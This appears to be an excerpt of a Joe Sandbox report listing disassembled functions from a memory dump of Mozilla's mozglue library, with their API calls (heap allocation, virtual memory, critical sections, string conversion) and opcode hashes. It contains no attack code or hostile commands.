API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C6A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A289A
free.MOZGLUE(?,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A2910
free.MOZGLUE(00000001,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A294E

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction ID: 9897f2b458e45feeacbcb1e058197503f2c5ef340fe41d67c23a8ddd3040f7f3
Opcode Fuzzy Hash: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction Fuzzy Hash: 3D41B4B1A402068FEB14CFAAD88476A73F5EF45708F140939D95BEB740E731E906CB99

Function 6C65CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C65D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C65D139

Strings

MOZ_CRASH(), xrefs: 6C65D187

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction ID: 3543fbe50f1b8389a23461486b7e12babdc2657575e16f4df976855d1fc8f750
Opcode Fuzzy Hash: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction Fuzzy Hash: 6441CC32B412164FDB548E7E8DD07AAB6B0EB49714F650239EA18E77C4D7A1A800CBDD

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C6BA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA87B

Part of subcall function 6C6BA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C6BA88F,00000000), ref: 6C6BA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C6BA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA90C
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA97E

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction ID: bb51f4b2f4feef7e7fc4b44630dd317ed3b6147944fb21cdc06fafba0641b0b7
Opcode Fuzzy Hash: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction Fuzzy Hash: 8E41D4B0E002089FDB00DFA4D885BDEB770FF09324F148629E826AB791D771E955CB99

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C65B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C65B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65B849

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction ID: 1d8c03aa0fa54bb534cc8f5faaa3361884c14b92f2223d894aefeb06f6f26286
Opcode Fuzzy Hash: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction Fuzzy Hash: BD212CB4E002099FDF04DFA9C8859FEBBB4EF89314F148129ED06A7341E731A954CBA5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C6B586C
CloseHandle.KERNEL32 ref: 6C6B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6B58C9
free.MOZGLUE(00000000), ref: 6C6B58D3

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction ID: 8a0083879518c1b11755c31113286ebade07498b1b68bf36c83afe0e639a6c88
Opcode Fuzzy Hash: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction Fuzzy Hash: 1B0162717141119BDF01DF17D888A467BB9EFA3329F244276E41AD2210D731B9258F8F

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
